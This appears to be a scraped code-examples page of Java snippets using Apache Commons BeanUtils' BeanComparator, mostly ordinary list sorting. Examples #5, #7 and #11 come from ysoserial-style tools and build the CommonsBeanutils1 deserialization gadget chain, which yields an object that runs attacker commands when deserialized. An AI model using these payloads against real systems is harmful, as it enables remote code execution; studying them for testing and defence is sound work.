org.apache.commons.beanutils.BeanComparator Java Examples

The following examples show how to use org.apache.commons.beanutils.BeanComparator. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: AbstractWidgetExecutorService.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
protected List<IFrameDecoratorContainer> extractDecorators(RequestContext reqCtx) throws ApsSystemException {
	HttpServletRequest request = reqCtx.getRequest();
	WebApplicationContext wac = ApsWebApplicationUtils.getWebApplicationContext(request);
	List<IFrameDecoratorContainer> containters = new ArrayList<IFrameDecoratorContainer>();
	try {
		String[] beanNames = wac.getBeanNamesForType(IFrameDecoratorContainer.class);
		for (int i = 0; i < beanNames.length; i++) {
			IFrameDecoratorContainer container = (IFrameDecoratorContainer) wac.getBean(beanNames[i]);
			containters.add(container);
		}
		BeanComparator comparator = new BeanComparator("order");
		Collections.sort(containters, comparator);
	} catch (Throwable t) {
		_logger.error("Error extracting widget decorators", t);
		throw new ApsSystemException("Error extracting widget decorators", t);
	}
	return containters;
}
 
Example #2
Source File: Model.java    From MogwaiERDesignerNG with GNU General Public License v3.0 6 votes vote down vote up
/**
 * Get the available data types.
 * <p/>
 * The available data types are the dialect datatypes plus the defined
 * domains.
 *
 * @return the available data types
 */
public DataTypeListWithAlias getAvailableDataTypes() {
    final DataTypeListWithAlias theResult = new DataTypeListWithAlias(dialect);
    if (dialect != null) {
        theResult.addAll(dialect.getDataTypes());

        if (dialect.isSupportsCustomTypes()) {
            theResult.addAll(customTypes);
        }

        // Domains can be added by ui every time...
        theResult.addAll(domains);
    }

    theResult.sort(new BeanComparator("name"));

    return theResult;
}
 
Example #3
Source File: EntityAttributeConfigAction.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
public List<AttributeInterface> getAllowedNestedTypes(AttributeInterface listType) {
    List<AttributeInterface> attributes = new ArrayList<AttributeInterface>();
    try {
        IEntityManager entityManager = this.getEntityManager();
        Map<String, AttributeInterface> attributeTypes = entityManager.getEntityAttributePrototypes();
        Iterator<AttributeInterface> attributeIter = attributeTypes.values().iterator();
        while (attributeIter.hasNext()) {
            AttributeInterface attribute = attributeIter.next();
            boolean simple = attribute.isSimple();
            boolean multiLanguage = attribute.isMultilingual();
            if ((listType instanceof ListAttribute && simple && !multiLanguage)
                    || (listType instanceof MonoListAttribute && !(attribute instanceof AbstractListAttribute))) {
                attributes.add(attribute);
            }
        }
        Collections.sort(attributes, new BeanComparator("type"));
    } catch (Throwable t) {
        _logger.error("Error while extracting Allowed Nested Types", t);
        //ApsSystemUtils.logThrowable(t, this, "getAllowedNestedTypes");
        throw new RuntimeException("Error while extracting Allowed Nested Types", t);
    }
    return attributes;
}
 
Example #4
Source File: ReadStudentListByCurricularCourse.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
private List cleanList(final List<Enrolment> enrolmentList) throws FenixServiceException {

        if (enrolmentList.isEmpty()) {
            throw new NonExistingServiceException();
        }

        Integer studentNumber = null;
        final List<InfoEnrolment> result = new ArrayList<InfoEnrolment>();
        for (final Enrolment enrolment : enrolmentList) {

            if (studentNumber == null
                    || studentNumber.intValue() != enrolment.getStudentCurricularPlan().getRegistration().getNumber().intValue()) {
                studentNumber = enrolment.getStudentCurricularPlan().getRegistration().getNumber();
                result.add(InfoEnrolment.newInfoFromDomain(enrolment));
            }
        }
        Collections.sort(result, new BeanComparator("infoStudentCurricularPlan.infoStudent.number"));
        return result;
    }
 
Example #5
Source File: CommonsBeanutils1.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
  
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #6
Source File: ReadActiveCurricularCourseScopeByDegreeCurricularPlanAndExecutionYear.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
@Atomic
@Deprecated
public static SortedSet<DegreeModuleScope> run(String degreeCurricularPlanID, String executioYearID)
        throws FenixServiceException {
    final DegreeCurricularPlan degreeCurricularPlan = FenixFramework.getDomainObject(degreeCurricularPlanID);
    final ExecutionYear executionYear = FenixFramework.getDomainObject(executioYearID);

    final ComparatorChain comparator = new ComparatorChain();
    comparator.addComparator(new BeanComparator("curricularYear"));
    comparator.addComparator(new BeanComparator("curricularSemester"));
    comparator.addComparator(new BeanComparator("curricularCourse.externalId"));
    comparator.addComparator(new BeanComparator("branch"));

    final SortedSet<DegreeModuleScope> scopes = new TreeSet<DegreeModuleScope>(comparator);

    for (DegreeModuleScope degreeModuleScope : degreeCurricularPlan.getDegreeModuleScopes()) {
        if (degreeModuleScope.isActiveForExecutionYear(executionYear)) {
            scopes.add(degreeModuleScope);
        }
    }

    return scopes;
}
 
Example #7
Source File: CommonsBeanutilsCollectionsLogging1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #8
Source File: ManageSubscriptionCtrl.java    From development with Apache License 2.0 6 votes vote down vote up
@PostConstruct
public void initialize() {

    comparatorChain.addComparator(new BeanComparator("roleKey"), true);
    comparatorChain.addComparator(new BeanComparator("userId"));

    model.setSubscriptionExisting(true);

    try {
        if (!model.isInitialized()) {
            final long key = sessionBean.getSelectedSubscriptionKey();
            initializeSubscription(key);
        }
    } catch (ObjectNotFoundException | ValidationException
            | OrganizationAuthoritiesException
            | OperationNotPermittedException e) {

        ui.handleException(e);
    }
}
 
Example #9
Source File: ReadActiveCurricularCourseScopeByDegreeCurricularPlanAndExecutionYear.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
@Atomic
public static SortedSet<DegreeModuleScope> run(String degreeCurricularPlanID, AcademicInterval academicInterval)
        throws FenixServiceException {
    final DegreeCurricularPlan degreeCurricularPlan = FenixFramework.getDomainObject(degreeCurricularPlanID);

    final ComparatorChain comparator = new ComparatorChain();
    comparator.addComparator(new BeanComparator("curricularYear"));
    comparator.addComparator(new BeanComparator("curricularSemester"));
    comparator.addComparator(new BeanComparator("curricularCourse.externalId"));
    comparator.addComparator(new BeanComparator("branch"));

    final SortedSet<DegreeModuleScope> scopes = new TreeSet<DegreeModuleScope>(comparator);

    for (DegreeModuleScope degreeModuleScope : degreeCurricularPlan.getDegreeModuleScopes()) {
        if (degreeModuleScope.isActiveForAcademicInterval(academicInterval)) {
            scopes.add(degreeModuleScope);
        }
    }

    return scopes;
}
 
Example #10
Source File: CompositeAttributeConfigAction.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
public List<AttributeInterface> getAllowedAttributeElementTypes() {
	List<AttributeInterface> attributes = new ArrayList<AttributeInterface>();
	try {
		IEntityManager entityManager = this.getEntityManager();
		Map<String, AttributeInterface> attributeTypes = entityManager.getEntityAttributePrototypes();
		Iterator<AttributeInterface> attributeIter = attributeTypes.values().iterator();
		while (attributeIter.hasNext()) {
			AttributeInterface attribute = attributeIter.next();
			if (attribute.isSimple()) {
				attributes.add(attribute);
			}
		}
		Collections.sort(attributes, new BeanComparator("type"));
	} catch (Throwable t) {
		_logger.error("Error extracting the allowed types of attribute elements", t);
		//ApsSystemUtils.logThrowable(t, this, "getAllowedAttributeElementTypes");
		throw new RuntimeException("Error extracting the allowed types of attribute elements", t);
	}
	return attributes;
}
 
Example #11
Source File: CommonsBeanutils1.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #12
Source File: PageSearchMapper.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * craetes a PageSearchDto starting from the received data
 *
 * @param request
 * @param pages
 * @return the created
 */
public PagedMetadata<PageDto> toPageSearchDto(PageSearchRequest request, List<PageDto> pages) {

    BeanComparator<PageDto> comparator = new BeanComparator<>(request.getSort());

    if (request.getDirection().equals(FieldSearchFilter.DESC_ORDER)) {
        pages.sort(comparator.reversed());
    } else {
        pages.sort(comparator);
    }

    PageSearchDto result = new PageSearchDto(request, pages);
    result.imposeLimits();

    return result;
}
 
Example #13
Source File: PagedMetadataMapper.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * craetes a PagedMetadata<T> starting from the received
 *
 * @param restListRequest
 * @param list
 * @param <T>
 * @return the created
 */
public <T> PagedMetadata<T> getPagedResult(RestListRequest restListRequest, List<T> list, String sortField, int totalItems) {

    BeanComparator<T> comparator = new BeanComparator<>(sortField);

    if (restListRequest.getDirection().equals(FieldSearchFilter.DESC_ORDER)) {
        list.sort(comparator.reversed());
    } else {
        list.sort(comparator);
    }

    PagedMetadata<T> result = new PagedMetadata<T>(restListRequest, list, totalItems);
    result.imposeLimits();

    return result;
}
 
Example #14
Source File: DatabaseManager.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
@Override
public List<DataSourceDumpReport> getBackupReports() throws ApsSystemException {
    List<DataSourceDumpReport> reports = new ArrayList<DataSourceDumpReport>();
    try {
        String[] children = this.getStorageManager().listDirectory(this.getLocalBackupsFolder(), true); //backupsFolder.list();
        if (null == children || children.length == 0) {
            return null;
        }
        for (String subFolderName : children) {
            if (this.checkBackupFolder(subFolderName)) {
                DataSourceDumpReport report = this.getDumpReport(subFolderName);
                reports.add(report);
            }
        }
        Collections.sort(reports, new BeanComparator("date"));
    } catch (Throwable t) {
        logger.error("Error while extracting Backup Reports", t);
        throw new RuntimeException("Error while extracting Backup Reports");
    }
    return reports;
}
 
Example #15
Source File: CoordinatorWrittenTestsInformationBackingBean.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
public List<ExecutionCourse> getExecutionCoursesWithWrittenTests() {
    if (this.executionCoursesWithWrittenTests == null) {
        this.executionCoursesWithWrittenTests = new ArrayList();
        Collections.sort(getExecutionCourses(), new BeanComparator("sigla"));
        writtenTests.clear();
        writtenTestsFreeSpace.clear();
        writtenTestsRooms.clear();
        for (final ExecutionCourse executionCourse : getExecutionCourses()) {
            final List<WrittenTest> associatedWrittenTests = executionCourse.getAssociatedWrittenTests();
            if (!associatedWrittenTests.isEmpty()) {
                Collections.sort(associatedWrittenTests, new BeanComparator("dayDate"));
                writtenTests.put(executionCourse.getExternalId(), associatedWrittenTests);
                processWrittenTestAdditionalValues(associatedWrittenTests);
                this.executionCoursesWithWrittenTests.add(executionCourse);
            }
        }
    }
    return this.executionCoursesWithWrittenTests;
}
 
Example #16
Source File: SOPEvaluationManagementBackingBean.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
private List<ExecutionCourse> getExecutionCourses() throws FenixServiceException {
    final List<ExecutionCourse> executionCourses = new ArrayList<ExecutionCourse>();
    Integer[] curricularYears = getCurricularYearIDs();
    if (curricularYears != null) {
        for (final Integer curricularYearID : curricularYears) {
            executionCourses.addAll(ExecutionCourse.filterByAcademicIntervalAndDegreeCurricularPlanAndCurricularYearAndName(
                    getAcademicIntervalFromParameter(getAcademicInterval()), getExecutionDegree().getDegreeCurricularPlan(),
                    CurricularYear.readByYear(curricularYearID), "%"));
        }
    }
    // Integer[] curricularYears = getCurricularYearIDs();
    // if (curricularYears != null) {
    // for (final Integer curricularYearID : curricularYears) {
    // final Object args[] = {
    // this.getExecutionDegree().getDegreeCurricularPlan().getExternalId(),
    // this.getExecutionPeriodID(), curricularYearID };
    // executionCourses.addAll((Collection<ExecutionCourse>)
    // ServiceManagerServiceFactory.executeService(
    // "ReadExecutionCoursesByDegreeCurricularPlanAndExecutionPeriodAndCurricularYear"
    // , args));
    // }
    // }
    Collections.sort(executionCourses, new BeanComparator("sigla"));
    return executionCourses;
}
 
Example #17
Source File: ApiServiceInterface.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
public ArrayList<ServiceInfo> getServices(Properties properties) throws ApiException {
     ArrayList<ServiceInfo> services = new ArrayList<ServiceInfo>();
     try {
         String defaultLangCode = this.getLangManager().getDefaultLang().getCode();
         String langCode = properties.getProperty(SystemConstants.API_LANG_CODE_PARAMETER);
         String tagParamValue = properties.getProperty("tag");
         //String myentandoParamValue = properties.getProperty("myentando");
         //Boolean myentando = (null != myentandoParamValue && myentandoParamValue.trim().length() > 0) ? Boolean.valueOf(myentandoParamValue) : null;
         langCode = (null != langCode && null != this.getLangManager().getLang(langCode)) ? langCode : defaultLangCode;
Map<String, ApiService> masterServices = this.getApiCatalogManager().getServices(tagParamValue/*, myentando*/);
         Iterator<ApiService> iter = masterServices.values().iterator();
         while (iter.hasNext()) {
             ApiService service = (ApiService) iter.next();
             if (service.isActive() && !service.isHidden() && this.checkServiceAuthorization(service, properties, false)) {
                 ServiceInfo smallService = this.createServiceInfo(service, langCode, defaultLangCode);
                 services.add(smallService);
             }
         }
         BeanComparator comparator = new BeanComparator("description");
         Collections.sort(services, comparator);
     } catch (Throwable t) {
     	_logger.error("Error extracting services", t);
         throw new ApiException(IApiErrorCodes.SERVER_ERROR, "Internal error");
     }
     return services;
 }
 
Example #18
Source File: CourseGroupManagementBackingBean.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
private List<SelectItem> readCourseGroups() {
    final List<SelectItem> result = new ArrayList<SelectItem>();
    final List<List<DegreeModule>> degreeModulesSet =
            getDegreeCurricularPlan().getDcpDegreeModulesIncludingFullPath(CourseGroup.class, null);
    final Set<CourseGroup> allParents = getCourseGroup(getParentCourseGroupID()).getAllParentCourseGroups();
    for (final List<DegreeModule> degreeModules : degreeModulesSet) {
        final DegreeModule lastDegreeModule = (degreeModules.size() > 0) ? degreeModules.get(degreeModules.size() - 1) : null;
        if (!allParents.contains(lastDegreeModule) && lastDegreeModule != getCourseGroup(getParentCourseGroupID())) {
            final StringBuilder pathName = new StringBuilder();
            for (final DegreeModule degreeModule : degreeModules) {
                pathName.append((pathName.length() == 0) ? "" : " > ").append(degreeModule.getName());
            }
            result.add(new SelectItem(lastDegreeModule.getExternalId(), pathName.toString()));
        }
    }
    Collections.sort(result, new BeanComparator("label"));
    result.add(0, new SelectItem(this.NO_SELECTION_STRING, BundleUtil.getString(Bundle.BOLONHA, "choose")));
    return result;
}
 
Example #19
Source File: EnumeratorMapAttribute.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
private SelectItem[] extractStaticItems() {
    List<SelectItem> items = new ArrayList<SelectItem>();
    if (!StringUtils.isEmpty(this.getStaticItems())) {
        String[] entries = this.getStaticItems().split(this.getCustomSeparator());
        for (String entry : entries) {
            if (!StringUtils.isEmpty(entry) && entry.contains(DEFAULT_KEY_VALUE_SEPARATOR)) {
                String[] keyValue = entry.split(DEFAULT_KEY_VALUE_SEPARATOR);
                if (keyValue.length == 2) {
                    items.add(new SelectItem(keyValue[0].trim(), keyValue[1].trim()));
                }
            }
        }
    }
    BeanComparator c = new BeanComparator("value");
    Collections.sort(items, c);
    SelectItem[] array = new SelectItem[items.size()];
    for (int i = 0; i < items.size(); i++) {
        array[i] = items.get(i);
    }
    return array;
}
 
Example #20
Source File: BlogCategoryTag.java    From entando-components with GNU Lesser General Public License v3.0 6 votes vote down vote up
private List<CategoryInfoBean> buildCategoryInfoBeanList(Map<Category, Integer> occurrences) throws Throwable {
	ServletRequest request =  this.pageContext.getRequest();
	RequestContext reqCtx = (RequestContext) request.getAttribute(RequestContext.REQCTX);
	List<CategoryInfoBean> beans = new ArrayList<CategoryInfoBean>();
	try {
		Lang currentLang = (Lang) reqCtx.getExtraParam(SystemConstants.EXTRAPAR_CURRENT_LANG);
		Iterator<Category> iter = occurrences.keySet().iterator();
		while (iter.hasNext()) {
			Category treeNode = iter.next();
			beans.add(new CategoryInfoBean(treeNode, currentLang.getCode(), occurrences.get(treeNode)));
		}
		BeanComparator comparator = new BeanComparator("title");
		Collections.sort(beans, comparator);
	} catch (Throwable t) {
		_logger.error("error in Error building buildCategoryInfoBeanList", t);
		throw new ApsSystemException("Error building buildCategoryInfoBeanList ", t);
	}
	return beans;
}
 
Example #21
Source File: CoordinatorProjectsInformationBackingBean.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
private void filterExecutionCourses() {
    if (this.executionCoursesWithProjects == null || this.executionCoursesWithoutProjects == null) {
        this.executionCoursesWithProjects = new ArrayList();
        this.executionCoursesWithoutProjects = new ArrayList();
        Collections.sort(getExecutionCourses(), new BeanComparator("sigla"));
        projects.clear();
        for (final ExecutionCourse executionCourse : getExecutionCourses()) {
            final List<Project> associatedProjects = executionCourse.getAssociatedProjects();
            if (!executionCourse.getAssociatedProjects().isEmpty()) {
                Collections.sort(associatedProjects, new BeanComparator("begin"));
                this.executionCoursesWithProjects.add(executionCourse);
                this.projects.put(executionCourse.getExternalId(), associatedProjects);
            } else {
                this.executionCoursesWithoutProjects.add(executionCourse);
            }
        }
    }
}
 
Example #22
Source File: CompetenceCourseManagementBackingBean.java    From fenixedu-academic with GNU Lesser General Public License v3.0 6 votes vote down vote up
public List<SelectItem> getExecutionYears() {
    if (selectedYears == null) {

        ExecutionYear year = null;
        if (getCompetenceCourse() != null) {
            final ExecutionSemester semester = getCompetenceCourse().getStartExecutionSemester();
            year = semester != null ? semester.getExecutionYear() : null;
        }

        selectedYears = new ArrayList<SelectItem>();
        for (ExecutionYear executionYear : ExecutionYear.readNotClosedExecutionYears()) {
            if (year == null || executionYear.isAfterOrEquals(year)) {
                selectedYears.add(new SelectItem(executionYear.getExternalId(), executionYear.getYear()));
            }
        }
        Collections.sort(selectedYears, new ReverseComparator(new BeanComparator("label")));
    }

    return selectedYears;
}
 
Example #23
Source File: AbstractApiAction.java    From entando-core with GNU Lesser General Public License v3.0 6 votes vote down vote up
public List<SelectItem> getPermissionAutorityOptions() {
    List<SelectItem> items = new ArrayList<SelectItem>();
    try {
        List<Permission> permissions = new ArrayList<Permission>();
        permissions.addAll(this.getRoleManager().getPermissions());
        BeanComparator comparator = new BeanComparator("description");
        Collections.sort(permissions, comparator);
        for (int i = 0; i < permissions.size(); i++) {
            Permission permission = permissions.get(i);
            items.add(new SelectItem(permission.getName(), 
		this.getPermissionAutorityOptionPrefix() + permission.getDescription()));
        }
    } catch (Throwable t) {
    	_logger.error("Error extracting autority options", t);
    }
    return items;
}
 
Example #24
Source File: EntityTypeConfigAction.java    From entando-core with GNU Lesser General Public License v3.0 5 votes vote down vote up
public List<AttributeInterface> getAttributeTypes() {
	List<AttributeInterface> attributes = null;
	try {
		IEntityManager entityManager = this.getEntityManager();
		Map<String, AttributeInterface> attributeTypes = entityManager.getEntityAttributePrototypes();
		attributes = new ArrayList<AttributeInterface>(attributeTypes.values());
		Collections.sort(attributes, new BeanComparator("type"));
	} catch (Throwable t) {
		_logger.error("Error while extracting attribute Types", t);
		//ApsSystemUtils.logThrowable(t, this, "getAttributeTypes");
		throw new RuntimeException("Error while extracting attribute Types", t);
	}
	return attributes;
}
 
Example #25
Source File: AbstractApsEntityFinderAction.java    From entando-core with GNU Lesser General Public License v3.0 5 votes vote down vote up
public List<IApsEntity> getEntityPrototypes() {
	List<IApsEntity> entityPrototypes = null;
	try {
		Map<String, IApsEntity> modelMap = this.getEntityManager().getEntityPrototypes();
		entityPrototypes = new ArrayList<IApsEntity>(modelMap.values());
		BeanComparator comparator = new BeanComparator("typeDescr");
		Collections.sort(entityPrototypes, comparator);
	} catch (Throwable t) {
		_logger.error("Error while extracting entity prototypes", t);
		throw new RuntimeException("Error while extracting entity prototypes", t);
	}
	return entityPrototypes;
}
 
Example #26
Source File: ManageClassesDA.java    From fenixedu-academic with GNU Lesser General Public License v3.0 5 votes vote down vote up
public ActionForward listClasses(ActionMapping mapping, ActionForm form, HttpServletRequest request,
        HttpServletResponse response) throws Exception {
    AcademicInterval academicInterval =
            AcademicInterval.getAcademicIntervalFromResumedString((String) request
                    .getAttribute(PresentationConstants.ACADEMIC_INTERVAL));
    InfoCurricularYear infoCurricularYear = (InfoCurricularYear) request.getAttribute(PresentationConstants.CURRICULAR_YEAR);
    InfoExecutionDegree infoExecutionDegree =
            (InfoExecutionDegree) request.getAttribute(PresentationConstants.EXECUTION_DEGREE);

    final ExecutionDegree executionDegree = FenixFramework.getDomainObject(infoExecutionDegree.getExternalId());

    final Set<SchoolClass> classes;
    Integer curricularYear = infoCurricularYear.getYear();
    if (curricularYear != null) {
        classes = executionDegree.findSchoolClassesByAcademicIntervalAndCurricularYear(academicInterval, curricularYear);
    } else {
        classes = executionDegree.findSchoolClassesByAcademicInterval(academicInterval);
    }

    final List<InfoClass> infoClassesList = new ArrayList<InfoClass>();

    for (final SchoolClass schoolClass : classes) {
        InfoClass infoClass = InfoClass.newInfoFromDomain(schoolClass);
        infoClassesList.add(infoClass);
    }

    if (infoClassesList != null && !infoClassesList.isEmpty()) {
        BeanComparator nameComparator = new BeanComparator("nome");
        Collections.sort(infoClassesList, nameComparator);

        request.setAttribute(PresentationConstants.CLASSES, infoClassesList);
    }
    request.setAttribute("executionDegreeD", executionDegree);

    return mapping.findForward("ShowClassList");
}
 
Example #27
Source File: ResourceFinderAction.java    From entando-components with GNU Lesser General Public License v3.0 5 votes vote down vote up
public List<ImageResourceDimension> getImageDimensions() {
    Map<Integer, ImageResourceDimension> master = this.getImageDimensionManager().getImageDimensions();
    List<ImageResourceDimension> dimensions = new ArrayList<ImageResourceDimension>(master.values());
    BeanComparator comparator = new BeanComparator("dimx");
    Collections.sort(dimensions, comparator);
    return dimensions;
}
 
Example #28
Source File: EntityTypesAction.java    From entando-core with GNU Lesser General Public License v3.0 5 votes vote down vote up
@Override
public List<IApsEntity> getEntityPrototypes() {
	List<IApsEntity> entityPrototypes = null;
	try {
		Map<String, IApsEntity> modelMap = this.getEntityManager().getEntityPrototypes();
		entityPrototypes = new ArrayList<IApsEntity>(modelMap.values());
		BeanComparator comparator = new BeanComparator("typeDescr");
		Collections.sort(entityPrototypes, comparator);
	} catch (Throwable t) {
		_logger.error("Error on extracting entity prototypes", t);
		//ApsSystemUtils.logThrowable(t, this, "getEntityPrototypes");
		throw new RuntimeException("Error on extracting entity prototypes", t);
	}
	return entityPrototypes;
}
 
Example #29
Source File: CurriculumDispatchAction.java    From fenixedu-academic with GNU Lesser General Public License v3.0 5 votes vote down vote up
private static List<StudentCurricularPlan> getSortedStudentCurricularPlans(final Registration registration) {
    final List<StudentCurricularPlan> result = new ArrayList<StudentCurricularPlan>();
    result.addAll(registration.getStudentCurricularPlansSet());
    Collections.sort(result, new BeanComparator("startDateYearMonthDay"));

    return result;
}
 
Example #30
Source File: ManageExecutionCoursesDA.java    From fenixedu-academic with GNU Lesser General Public License v3.0 5 votes vote down vote up
/**
 * @param request
 * @param infoExecutionCourses
 */
private void sortList(HttpServletRequest request, List<InfoExecutionCourse> infoExecutionCourses) {
    String sortParameter = request.getParameter("sortBy");
    if ((sortParameter != null) && (sortParameter.length() != 0)) {
        if (sortParameter.equals("occupancy")) {
            Collections.sort(infoExecutionCourses, new ReverseComparator(new BeanComparator(sortParameter)));
        } else {
            Collections.sort(infoExecutionCourses, new BeanComparator(sortParameter));
        }
    } else {
        Collections.sort(infoExecutionCourses, new ReverseComparator(new BeanComparator("occupancy")));
    }
}